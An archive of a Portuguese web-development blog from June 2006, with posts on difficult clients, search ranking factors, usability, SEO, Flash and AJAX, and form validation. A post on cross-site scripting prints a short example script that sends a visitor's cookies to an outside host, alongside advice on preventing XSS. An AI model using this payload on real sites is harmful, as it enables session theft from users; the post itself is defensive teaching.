Monthly Archives: June 2006

Maus clientes – Alguns sinais

Published by:

Para uma grande empresa, um mau cliente pode representar uma quota grande no lucro, no final do ano. Mas para uma pequena empresa ou para um consultor individual podem representar um situação muito complicada de ultrapassar, e não raras vezes, que obriga a repensar a carreira.

Maus clientes

Sobre um post no WebMasterWorld, escreve Rusty Brick no SEO Round Table e Jennifer Laycock no Search Engine Guide sobre três avisos que se devem considerar quando se visita um novo cliente. Vejamos:

Preciso fazer isto o mais barato possível

O problema aqui, obviamente, não é o orçamento por si, mas o barato, o querer abaixo do preço. Todas as empresas têm orçamentos que pretendem manter, e podendo gastar menos num projecto não vão gastar mais.

Mas quando o preço é a única prioridade, os resultados são pouco relevantes. Por outro lado, o cliente começa a tentar partir o projecto inicial por forma a reduzir o orçamento para aquilo que pretende pagar, é muitas vezes o mesmo cliente que depois vai querer remontar o projecto para que volte a ser o pretendido inicialmente, mantendo o orçamento inicial.

Preciso disto para ontem

Mais uma vez, o problema aqui não está no querer começar tão depressa quanto possível, mas em querer passar por cima de tudo o resto, querer ser a prioridade numero #1. Este tipo de cliente pode ser um problema para qualquer empresa, mas especialmente para as pequenas empresas e para os consultores independentes.

O problema ainda mais grave porque depois que o projecto está concluido, o tempo necessário para que os resultados se comecem a notar, como os primeiros visitantes a aparecer no site, o site a aparecer nos motores de busca, as primeiras vendas, tudo vai acontecer muito devagar para este cliente, e todas as demoras normais, mas inesperadas são razões para ele demonstrar que é a prioridade #1.

O meu web designer actual não me atende o telemóvel

Esta é uma afirmação complexa. Não é “tive que despedir o meu webdesigner” ou “não estou contente com o meu webdesigner”. É “o meu webdesigner não me atende o telemóvel” ou “não me liga”. Como a Jennifer aconselha, ligar ao consultor anterior (webdesigner, programador, etc) e perguntar o que se passou não é uma má ideia.

Existem várias razões porque um fornecedor deixa de atender o telefone a um cliente, ou de lhe ligar de volta, e poucas são boas razões para agarrar o cliente com quanta força temos.

Eu penso que existe uma quarta expressão, de que os senhores referidos não falam:

Dinheiro não é problema

Se dinheiro não é problema, porque razão se refere? Mas se por si a expressão não o deixar muito alerta, fuja como puder se o potêncial cliente alternar esta referência com a anterior. Ninguém sobre a Terra abandona um cliente que é bom pagador.

Se o dinheiro não é problema, não é improvável é que o cliente já esteja mesmo a pensar não lhe pagar. Tenha especial cuidado se a isto se juntar algum cuidado do cliente em que a proposta seja fechada (defina um valor global para o projecto), mas as especificações fiquem algo dúbias, com pontos que não estejam 100% definidos.

Este é um problema que normalmente as grandes empresas não têm tanto, pois todas as propostas estão já mais que blindadas contra esta situações, mas com que as pequenas empresa, e especialmente os consultores independentes sofrem bastante, em grande parte por inexperiência.

Pergunte aos amigos

Uma ultima sugestão: se tem amigos que trabalham na mesma área, não tenha medo de lhes perguntar se já trabalharam com o seu potêncial cliente. Se ele for um Mau Cliente, a probabilidade de já ter sido cliente (ou empregador) de um colega de profissão é grande, pois este tipo de cliente/empregador têm uma taxa de rotatividade bastante elevada.

Factores Optimizáveis para motores de pesquisa

Published by:

Foi ontem levantado no forum Search Engine Watch um thread acerca dos mais de 200 factores que são actualmente considerados pelo Google para classificar as páginas.

Antes que perguntem como se chegou a este número, ele é parte integrante de uma conferência de imprensa do Google, cujos slides podem ser encontrados no blog do Search Engine Watch, no o titulo Watching Google Press Day, Slides & Live Commentary.

Bem, o post em si não apresenta nada de muito novo, mas recupera um artigo de Setembro de 2005, do Rand Fishkin, o editor do SEOmoz, a que ele chamou Search Engine Ranking Factors.

Neste artigo o Rand não descobre totalmente os mais de 200 factores referidos na apresentação do Google, mas lista e classifica um total de 103 factores, fazendo desta lista a mais longa conhecida até ao momento.

A lista divide os factores em xx grupos:

  1. Factores internos à página – Estes factores afectam a indexação por serem parte directa do conteúdo indexado.
  2. Factores internos ao site, que afectam os documentos hospedados – Estes factores dizem respeito ao proprio site, e inclui factores como o tema global de um site, a popularidade global do site, a idade do site, e muitas outras.
  3. Factores que afectam o valor de um link – Estes factores são aplicado aos links para uma página, e o seu resultado à página apontada.
  4. Factores técnicos, URLs, hosting e de servidor – Estes factores afectam a classificação de uma página em consequncia de tornarem mais fácil ou dificil aos robots dos motores de pesquisa indexarem os documentos
  5. Factores desvalorizantes – Esta categoria inclui os factores que são conhecidos por terem efeitos negativos na classificação dos motores de pesquisa.

Globalmente, entre todas as categorias, os dez factores que o Rand e os 12 especialista convidados consideram como mais relevantes são:

  1. Tag title – A tag html <title> aparece na barra de titulo do browser e também na listagem de resultado nos motores de pesquisa. O titulo tem mais relevância porque muitas vezes é utilizado ainda noutros sites quando criam links para a página.
  2. Texto dos links – O texto utilizado nos links é associado à página apontada.
  3. Palavras chave utilizadas na página – as palavras pesquisas aparecerem na página também um dos factores mais relevantes.
  4. Acessibilidade do documento – Os motores de pesquisa não conseguem indexar documentos a que não conseguem aceder, logo é necessário que os documentos possam ser acedidos pelos motores de pequisa para serem indexados.
  5. Links para a página de outras páginas dentro do mesmo site – É justo assumir que páginas que não são indexadas pelo próprio site sejam menos relevantes que as indexadas pelo site.
  6. Tema principal do site – Se todo o site está relacionado com o tema pesquisado, a página tem também mais probabilidade de o estar, pelo que será mais relevante.
  7. Links externos para a página – A existência de links noutros sites ajuda a aumentar a relevância de um site. Este é talvez um dos factores mais conhecido.
  8. Popularidade do site em sites relacionados – A popularidade de um site entre os seus pares ajuda a perceber o valor real de um site.
  9. Popularidade global do site – A popularidade global do site ajuda a definir a classificação a atribuir a uma página desse site.
  10. Spamming de palavras chave – A utilização excessiva dos termos de pesquisa é um factor que pode influenciar negativamente a classificação de um página, o mesmo aplicando-se a ter textos escondidos, e outras formas de sobrecarregar uma página com palavras chave.

Existem no artigo do Rand mais 93 factores, que devem ser considerados, e com o tempo pode ser que alguém encontre mais alguns. Afinal de contas faltam ainda, pelo menos, mais 97 factores que não estão listados.

Vejam o artigo Search Engine Ranking Factors.

PpW – Usabilidade

Published by:

Tenho lido alguns comentários à usabilidade do site, e fico normalmente com a sensação que se confunde usabilidade com design. São coisas completamente diferentes.

O que é a usabilidade?

A usabilidade de um sistema, e isso inclui um site é o grau de facilidade com que um utilizador consegue utilizar um sistema. Essa facilidade depende de vários factores, entre eles:

  1. Funcionamento correcto
  2. Eficiência de uso
  3. Facilidade de aprendizagem
  4. Facilidade de lembrar
  5. Tolerância a erros de utilizador
  6. Satisfação subjectiva

Online, o facto que mais influência tem na usabilidade global de um site (para o utilizador final) acaba por ser a eficiência de uso, e essa é por sua vez influênciada por diversos factores, de que falamos a seguir:

Informação bem estruturada

É imprescindível que o utilizador consiga facilmente perceber o que é importante e secundário num site, e isso consegue-se destacando o que é importante, tornando mais visivel o que é mais importante.

Mas mais do que ter a informação bem estruturada, é necessário que isso se perceba, e que se qual a estrutura, qual a organização da informação. Melhor que uma listagem de categorias, é uma listagem de categorias, com um titulo Categorias.

A estrutura da informação online, obviamente, tem também a ver com o design do site onde essa informação se encontra, mas raramente tem a ver com a beleza com que essa informação é apresentada.

Não quero com isto dizer que o design não é necessário. É. E sim, como já vi criticas, sei que esse não é o meu ponto forte. Não pretendo que o seja. Já percorri um longo caminho, e sei que ainda tenho muito por onde melhorar, mas muitas vezes olho para obras de arte e penso que continua a haver poucos sites com melhor usabilidade que o do D.J. Bernstein(0% design vs. 100% facilidade em encontrar o que se procura).

Para mim a Internet não são bonecos. Para mim a internet é informação, a melhor informação possível, acessivel de forma simples, usável. Em metade das vezes, quando entra o design perde-se a estrutura da informação. Nada contra o design, mas sempre com atenção a que a informação é que conta, a informação é a razão de existir dos sites, não o contrário.

Facilidade de navegação

A informação que os utilizadores mais procuram deve estar tão acessível quanto possivel, por forma a que os utilizadores consigam chegar a essa informação com o mínimo de clicks. Mesmo a informação que é menos visitada deve ser fácil de encontrar, criando formas difirentes de encontrar a informação, como sejam, listagem por antiguidade, por categoria, destaques para os mais visitados, pesquisa, etc.

Simplicidade

A interface deve ser simples e limpa, sendo de evitar, sempre que possivel, animações e outras formas de distração, que retirem o foco do utilizador daquilo que lhe interessa.

Quando um utilizador procura informação quer concentrar-se nessa informação, e não ser distraído pelo macaco que está aos saltos no canto da artigo que está a tentar ler.

Se o utilizador não tiver paz e não se conseguir concentrar no seu site, por certo que se conseguirá concentrar num qualquer outro site que tenha a informação que o seu utilizador procura, mesmo que não esteja tão detalhada e precisa como no seu site.

Relevância dos conteúdos

Existem vários tipos de sites a que os utilizadores voltam regularmente, mas em primeiro lugar na lista da maioria dos utilizadores estão os sites que têm conteúdos de interesse, relevantes, e expostos de forma sóbria e precisa.

Normalmente poderão ler que os conteúdos devem ser conciso e objectivos. Se concordo com a objectividade, não estou tão de acordo com a brevidade. Cada autor tem a sua própria forma de escrever, e nem sempre um texto um pouco mais longo é menos interessante que outro mais curto (mas isso, obviamente, é tema para uma séria de artigos completa, um dia destes).

Consistência

Um site deve ser um conjunto de conteúdos relacionados, apresentados sob uma forma comum, e não um conjunto de páginas, que por acaso se encontram juntas.

É importante que num site as mesmas coisas aconteçam sempre da mesma maneira, pois assim os utilizadores apenas terão de aprender uma vez a fazer qualquer tarefa, e sabem sempre o que acontece quando fazem uma determinada acção.

Isso não se passa apenas com o interface, ainda que isso seja importante, mas também com os conteúdos. Um site deve ter um qualquer elo que ligue todo o site, todos os conteúdos que lá se encontrar.

Nalguns casos (blogs pessoas) o único elo pode ser simplesmente o autor do site, mas isso não é o suficiente para manter os utilizadores num site maior.

Foco no utilizador

O utilizador é o elo mais importante num site, e é com ele em mente que se deve pensar o site, colocando no caminho do utilizador aquilo que mais interessa ao utilizador.

Se por um lado um site com um excelente conteúdo pode manter um utilizador ocupado a pesquisa durante algum tempo, se o utilizador não encontrar imediatamente alguma coisa que lhe interesse, o mais provável é que se vá embora e não volte tão depressa.

Se pelo contrário ao primeiro ou segundo clique encontrar algo que lhe interessa e perceber que o site tem conteúdos interessantes, o mais provável é que adicione o site aos bookmarks e, mesmo que de momento não tenha muito tempo, volte mais tarde para ver melhor, ou para procurar outras coisas interessantes.

Conclusão

E então, usabilidade, o que é?

Bem, usabilidade é a capacidade de ser utilizado, de ser usado.

Usabilidade é a razão porque os livros continuam a vender tanto, quando há decadas atrás que todos apostavem que eles iam desaparecer bem depressa.

A usabilidade tem, enfim, mais a ver com ergonomia que com beleza… mas, claro, ambas são questões de design…


SEO – Publicidade (quase) grátis

Published by:

A optimização (SEO – Search Engine Optimization) de um site é hoje das melhores formas de publicidade a um site, e a médio prazo acaba por tornar-se também das mais baratas e efectivas.

A optimização é uma tarefa, por vezes, complexa e morosa, que implica cuidados especiais, conhecimentos alargados e dispendiosa, pois os (poucos) profissionais que realmente sabem como conseguir colocar um site nos motores de pesquisa fazem-se pagar bem por esse conhecimento.

No entanto, esse é um preço que facilmente se recupera.

Anúnciar nos meios tradicionais tem um custo comparativamente menor que optimizar um site de dimensões médias mas, em contrapartida, o beneficio desse custo termina quando o meio utilizado deixa de ser utilizado (no mesmo dia no caso de um jornal diário, ao fim de uma semana no caso de uma revista, no fim do periodo contratado no caso de um outdoor).

Anúnciar na Internet não fica muito mais barato. Os grandes portais portugueses cobram valores na ordem dos 3 a 10 centimos por visualização de banner, e para que uma campanha tenha visibilidade nestes sites é preciso adquirir milhões de visualizações. A homepage de qualquer um destes portais tem milhões de pageviews por dia, pelo que menos de um 1 milhão de banner views (mais de 50 000 Euros, por um dia de campanha).

Anunciando nos motores de pesquisa, como o Google, o Yahoo!, ou o Sapo, pode começar-se com orçamentos mais reduzidos, e a eficiência deste tipo de campanha, quando se pretende tráfego directo para um site, pode ser bastante mais próxima do esperado, uma vez que o custo é pré-definido e pago por visita ao site. Mas ainda assim, os custos deste tipo de campanha dependem em grande medida das palavras que serão o alvo da nossa campanha, e os utilizadores continuaram a fluir para o nosso site apenas enquanto pagarmos para que isso aconteça.

Mas com a optimização Web é diferente.

Optimizar um site para que seja indexado pelos motores de pesquisa de forma mais eficiente é um trabalho que se faz uma vez, e que poderá ter seguimentos menores. A maioria do trabalho faz-se apenas uma vez, podendo ser necessário novamente apenas quando o site for redesenhado, o que se for feito com os devidos cuidados representará um trabalho melhor.

E os resultados vão notar-se para sempre.

Muitas vezes considera-se parte do trabalho de optimização de um site a criação de links noutros sites. Esta tarefa pode ter custos regulares, como seja a compra de links em sites de qualidade em áreas relacionadas com a do nosso site, mas se for devidamente implementados esse links terão um custo bem menor que o custo de uma qualquer campanha, e os seus benefícios indirectos não são conseguidos por menhuma campanha.

Mas antes de chegar aos links, é preciso optimizar o site propriamente dito, e existe muita coisa que pode ser feita, deste a alteração do tipo de URL, até à estrutura do HTML do site, a forma como os próprios conteúdos são escritos, e muito mais.

Beneficios da Optimização Web

Mas, e quais são os benefícios de optimizar um site?

Bem, em primeiro lugar, melhorando a estrutura de um site muitas vezes aumenta-se drásticamente a quantidade de páginas que um utilizador vê antes de sair do site.

Em segundo lugar, quanto mais páginas os motores de pesquisa conseguirem indexar de um site maior é o número de páginas onde podem ser encontrados os conteúdos que um utilizar procura.

Mas o mais importante é mesmo que uma vez optimizado um site, e seguindo meia duzia de indicações (normalmente) simples, esse site mantém-se optimizado por muito tempo, até ser alterado radicalmente, normalmente até ser redesenhado.

Assim, o custo com a optimização é um custo que se tem uma vez, e de que se obtém retorno ao longo do tempo.

E assim, o seu site, ao invés de pagar para aparecer ao lado dos resultados dos motores de pesquisa, pode aparecer directamente nesses resultados, não pagando de cada vez que algum potencial cliente visita o seu site.

Mas os benefícios não são apenas esses. É que a maioria dos utilizadores visita primeiros os sites que aparecem nos resultados de pesquisa, e só depois os anúnciados ao lado, pelo que se o seu site aparece o mesmo número de vezes nos resultados de pesquisa, e nos anúncios ao lado dessa pesquisa, provavelmente terá mais visitas dos resultados de pesquisa do que dos anúncios.

Estudos da MarketingSherpa dizem também que os utilizadores que encontram um site nos resultados de pesquisa compram mais vezes do que os que o encontram nos anúncios ao lado dos resultados de pesquisa (4,2% vs 3,6%), e que essa diferença aumenta ainda mais se considerarmos as compras posteriores (6,3% vs 4,2%).

PpW – Usar Flash e Javascript

Published by:

Hoje, mais do que no passado, o AJAX (Asynchronous JavaScript and XML) parece estar em todo o lado, e os sites dinâmicos criados utilizando essa tecnologia são mais que muitos.

Há alguns dias, o Google disponibilizou o seu Google Web Toolkit, que permite criar aplicações Java, que são depois convertidas para aplicações HTML+Javascript.

O próprio Google utiliza AJAX em várias das suas ferramentas, como seja o Gmail, ou oGoogle Maps. Mas será que o AJAX é o resultado de todas as nossas preces?

E o Flash, que a macromédia tem desenvolvido ao longo de anos, e que hoje é uma ferramenta de desenvolvimento aplicacional completa, utilizada para fazer desde menus animados até jogos ou video players. É esta a solução para as nossas preces?

Bem, mesmo normalmente não utilizando Flash, e raramente recorrendo ao Javascript mais do que o estritamente necessário, concordo que são ferramentas uteis, e que permitem muitas coisas que seria bastante dificeis (ou mesmo impossiveis de conseguir) de outra forma.

Mas, peço desculpa, ainda não aderi à febre. Nem à do Flash, que com a novidade AJAX está a passar, nem à do AJAX. Por duas razões, e que se aplicam a ambas as situações:

  • Não são correctamente indexados;
  • Não são completamente compatíveis.

Não são completamente indexados

Hoje, ao contrário do que acontecia há algum tempo atrás, um flash cuidadosamente criado com esse objectivo em mente já é razoávelmente indexado. Mas apenas se for criado com esse objectivo em mente.

Mas não é isso que acontece normalmente. A maioria dos flahs que vi até hoje não contém directamente os conteúdos, ou quando os contém não estão em texto, mas em imagens, aparentemente para ficarem sempre com a aparência correcta.

Mas mesmo quando os texto estão dentro do flash e são indexáveis, não é possivel os motores de pesquisa enviarem os utilizadores directamente para a página onde se encontram os conteúdos que o utilizador procura.

Problemas idênticos se colocam quando se utiliza JavaScript para criar conteúdos, para os colocar nas páginas, independentemente de esses conteúdos fazerem inicialmente parte do JavaScript de alguma forma ou serem pedidos ao servidor pelo javascript (Sendo que neste caso nenhum motor de pesquisa irá aceder a esses conteúdos, uma vez que não executam o javascript).

Estas situações tornam-se mais graves quando o Javascript ou o Flash é utilizado para menus. Neste caso além de os conteúdos do Flash, ou criados pelo Javascript não serem indexados, também não o são as páginas que são pedidas quando os utilizadores clicam no menu.

Compatibilidade

Vários browsers não têm pluggin de flash, e alguns não executam javascript, pelo que sites que dependam muito dessas ferramentas não serão correctamente vistos nesses browsers.

Dos meus três browsers (Galeon, Mozilla Firefox e Internet Explorer), durante muito tempo apenas um tinha o pluggin de Flash instalado, e utilizadores invisuais, por exemplo, não têm forma de saber onde clicar num menu em flash para acederem a uma página que procuram.

Imagens, mesmo com MAP, isto é, com vários links na mesma imagem, podem ter titles por link, o que permite a qualquer utilizador saber antecipandamente alguma informação acerca do local para onde será enviado quando clicar no local onde tem o cursor. Mas o flash não.

Browsers apenas de texto (muitas vezes os browsers especiais são baseados nessas ferramentas) descrevem as imagens de forma alternativa (utilizando os campos alttitle), mas não têm forma de descrever um flash, e muitos deles também não executam javascript, pois uma grande parte da DOM não se lhes aplicaria de qualquer das formas.

Soluções

Claro que existem soluções de compromisso, como seja, ter um segundo menu, que será mostrado quando o utilizador não tiver flash, ou que esteja noutra parte da página, e que constituia uma alternativa ao menu em Flash ou Javascript, e que os motores de pesquisa também consigam utilizar.

Outra solução será ter uma versão alternativa do site para utilizadores que não têm flash ou javascript, mas isso significa também que os motores de pesquisa irão indexar essa versão e não a primeira, o que pode fazer com que a maioria dos utilizadores passe a utilizar a versão HTML, mesmo tendo flash e javascript.

Mas na verdade, eu utilizaria Flash e Javascript apenas no estritamente necessário. AJAX e outras formas de JavaScript que façam pedidos remotos de conteúdos, no entanto, utilizaria apenas em backoffices e partes de sites que não pretenda que sejam indexados.


PpW – Cross Site Script

Published by:

Cross Site Scripting, normalmente abreviado como XSS (para não confundir com CSS (Cascaded Style Sheet), consiste em colocar javascript num site que normalmente não se teria control, por forma a conseguir informações ou acessos que normalmente não teriamos.

O problema

A maioria dos ataques XSS ocorre em site onde os utilizadores podem interagir com o site, como por exemplo, colocando comentários em blogs ou respondendo em foruns. Outra situação mais ou menos comum é em sistemas de email ou webmail, em que pode bastar o utilizador ver a titulo do email para sofrer o ataque.

A maioria destes ataques pretende obter informação restricta do utilizador, ou, na maioria dos casos, acesso à conta do utilizador.

Estes ataques consistem em pequenos bocados de Javascript, normalmente apenas uma chamada a um url, em que se envia os cookies do utilizador que está a aceder ao site.

Um exemplo simples seria:


<script>
window.location='http://www.someuri.com/coookies/?' + document.cookie
</script>

Não que este fosse um caso que passasse despercebido, uma vez que o utilizador seria redirecionado para o URL indicado, mas seria eficaz, pois todos os cookies do utilizador disponiveis para o site visitado seriam conhecidos do dono do site www.someuri.com.

Soluções

Mas, que pode ser feito para evitar este tipo de situações?

Devemos não apenas atacar este problema directamente, como também evitar uma segunda possibilidade. A forma de evitar este problema directamente é evitar que seja introduzido código HTML nos locais onde utilizadores não verificados (utilizadores externo à própria organização do site) possam introduzir dados.

Quando isso não seja pretendido ou possivel (como nos casos do email), devem retirar-se todas as tags <script>...</script> que existam.

Se for uma parte de um site pode utilizar-se uma outra forma de os utilizadores formatarem os textos, como seja utilizando WikiTextBB Code ou outra sistema do género, e dessa permite-se que os utilizadores formatem os textos, sem permitir que insiram código HTML.

Claro que isto só funciona se os caracteres < forem depois convertidos para &lt; e os >para &gt;.

Mas mais importante que isso é não utilizar os cookies de forma indevida, e limitar a sua validade tanto quanto possivel.

Idealmente, na minha opinião, os cookies devem conter apenas um ID de sessão, associado ao qual se guarda tantos dados quantos possiveis do utilizador, pelo menos o IP e a assinatura do browser do utilizador.

Apenas estes dados já tornam dificil reutilizar o mesmo ID de sessão.

Cookies com IDs de utilizador ou com dados pessoais são o paraíso para os hackers, que pretendam aceder a um site.

Conclusão

Não permitir a utilizar da tag script em locais que não sejam estritamente design, e utilizar cookies com ids que mudam de cada vez que o utilizador faz login são duas tarefas fundamentais para evitar tornarmo-nos alvos dos adeptos do Cross Site Scripting.


Como conseguir tráfego para o seu blog

Published by:

Seth Godin publicou hoje uma lista de 56 coisas que podemos fazer para conseguir tráfego para o nosso blog.

A lista é constituida de coisas obvias e outras nem tanto, mas penso que a ordem não será a mais indicada, e nem todas as coisas são assim tão relevantes. Mas algumas dessas, mesmo que obvias, merecem uma nota especial:

3. Aprender o suficiente para se tornar um especialista na sua área

Escrever sobre algo que se conhece mal, ou apenas razoávelmente não é impossivel, mas muitas vezes não se podem dar opiniões realmente esclarecidas. Escrever sobre algo que se conhece bem, e de que se gosta, preferêncialmente, é uma forma de escrever mais, e de conseguir oferecer opiniões ou informações que tornem um blog único.

5. Seja Eterno… Escreva posts que possam ser lidos daqui a um ano

Esta é uma opinião vinculada por quase todos os probloggers, de que o histórico é a mais valia de qualquer blog, e de que mais importante do que ter artigos antigos que possam estar relacionados com a actualidade, ter artigos que serão sempre interessantes e relevantes é importante. Estes artigos são também os que são mais propicios a serem linkados por outros bloggers, pois não perdem nunca a relevância.

6. Estar entre os primeiros com um bom blog acerca de um tópico, e depois encorajar outros a escrever acerca do mesmo tópico.

O primeiro acaba por se tornar uma referência entre os seus pares, e tem a vantagem de ter já um histórico de artigos que os restantes ainda terão de criar. Os novos blogs terão também tendência, naturalmente a linkar para os primeiros, por serem referências na área.

48. Ser Paciente

Um site demora tempo a crescer, demora tempo a ser indexado pelos motores de pesquisa, demora tempo a ter uma lista considerável de leitores assiduos, demora tempo a ser linkado por outros bloggers. Ter 100 (cem) pageviews diários ao fim de um mês, sem qualquer publicidade paga pode não ser muito, mas é bastante razoável para a maioria das àreas.

49. Dar crédito aqueles que nos inspiram, o que torna os posts mais uteis.

Dizer quem foram as fontes de inspiração de um post torna os posts mais honestos, permite aos leitores lerem os textos em que nos inspiramos, permite-lhes saber quais foram as novas ideias que introduzimos, e permite que a nossa fonte de inspiração fique a conhecer-nos, e quem sabe um dia retribua os links que fizemos para ele.

51. Escrever apenas acerca de um coisa, em todos os mais infimos detalhes, de forma a tornar-se a referência definitiva.

Pode fazer-se um blog acerca de tudo e mais um par de botas, mas nunca se poderá aprofundar muito cada uma das coisas. Mas se escrever sobre uma área mais estrita pode-se escrever posts muito mais detalhados, o que torna o blog numa referência para quem quer informação mais detalhada.

52. Escrever em Inglês (ou 53. Em chinês)

Escrever em Inglês é uma boa forma de se escrever para todos os publicos educados, no entanto, aqui discordo do Seth, o Inglês é apenas uma das linguas mais faladas no mundo. Se por um lado o Inglês é hoje a Lingua oficial do mundo, aquela que quase todos falamos, oficialmente é a quatra (4ª) lingua nativa do mundo, depois do Chinês, do Hindu e do Espanhol. e seguida do Àrabe e do Português (ver Wikipedia). Eu pessoalmente penso que melhor que ser um blog gramaticalmente pouco correcto na lingua universal, é ser uma referência precisa, culta e correcta na nossa própria lingua. Para mim, tão mau como ser técnicamente incorrecto é ter erros ortográficos e gramaticais obvios.

56. Escreve acerca de coisas que as pessoas queiram ler e partilhar

Esta seria a primeira na minha lista, pois penso que de nada serve escrever algo que não interessa a ninguém, especialmente se o que pretendemos é tráfego, que era a intensão base da lista do Seth.

Nesta lista de 56 pontos existem outros 48 que não referi, por considerar que estes eram os mais dignos de notas. Isso não quer dizer que os restantes pontos não sejam igualmente importantes. Pelo contrário. Apenas não pretendi re-escrever aqui a lista do Seth. Vejam a lista completa, How to get traffic for your blog, no blog do Seth Godin.


PpW – Verificar campos de forms

Published by:

Uma coisas que frequentemente me dizem é para verificar os campos dos forms client-side (em Javascript, no browser) e não server-side (em PHP ou Perl, no servidor).

E é relativamente comum os campos serem verificados realmente client-side, e nunca serem verificados server-side.

Hoje a Internet é um meio acessível a pessoas com quase todo o tipo de conhecimentos de informática, desde os utilizadores finais, que não querem saber muito mais do que onde precisam de clicar para fazerem o que querem, até aos hacker (NOTA: hacker é uma palavra que sempre utilizado para abranger todos aqueles a quem não basta saber que as coisas funcionam, precisam de saber como e porquê) que conseguem, no caso da WEB, fazer requests HTTP manualmente, sem utilizar browsers.

Entre estes dois extremos existem vários níveis e a maioria dos utilizadores dividem-se por essa escala de forma mais ou menos disforme.

Quando fazemos verificações client-side estamos a pensar apenas nos primeiros níveis dessa escala, naqueles que apenas utilizam o site da forma que ele permite ser utilizado, que se limitam a utilizar o browser, normalmente o que vinha com o computador quando o compraram, algumas vezes um outro que alguém lhes instalou.

Mas esquecemos todos os que se encontram nos ultimos níveis da escala, aqueles que conhecem ferrementas que permitem fazer submissão de dados por HTTP sem serem os browsers, e aqueles que têm os conhecimentos de programar essas ferramentas.

Fazer um pequeno programa que enviar dados como se eles estivessem a ser enviados por um browser é bastante simples em várias linguagens. Em Perl, por exemplo, não passa de meia duzia de linhas de código (se não considerarmos os módulos utilizados, que estão já disponiveis).

Se as verificações forem feitas apenas no cliente os dados submetidos desta forma nunca são verificados. Mas se as verificações forem feitas no servidor não importa como os dados são enviados, são sempre verificados.

Concordo que fazer as verificações no cliente é mais rápido, pois podem ser feitas campo a campo, ou podem ser feitas antes de os dados do formulário serem enviados, o que permite reduzir o número de páginas pedidas ao servidor.

No entanto, fazer verificações apenas do lado do cliente é uma óptima forma de acabar com dados inconsistêntes na base de dados.

Se pretende fazer verificações do lado do cliente, não se esqueça de as fazer TAMBÉM do lado do servidor. O tempo que ocupa com essa tarefa é facilmente ganho mais tarde quando tentarem colocar dados inconsistêntes na sua base de dados.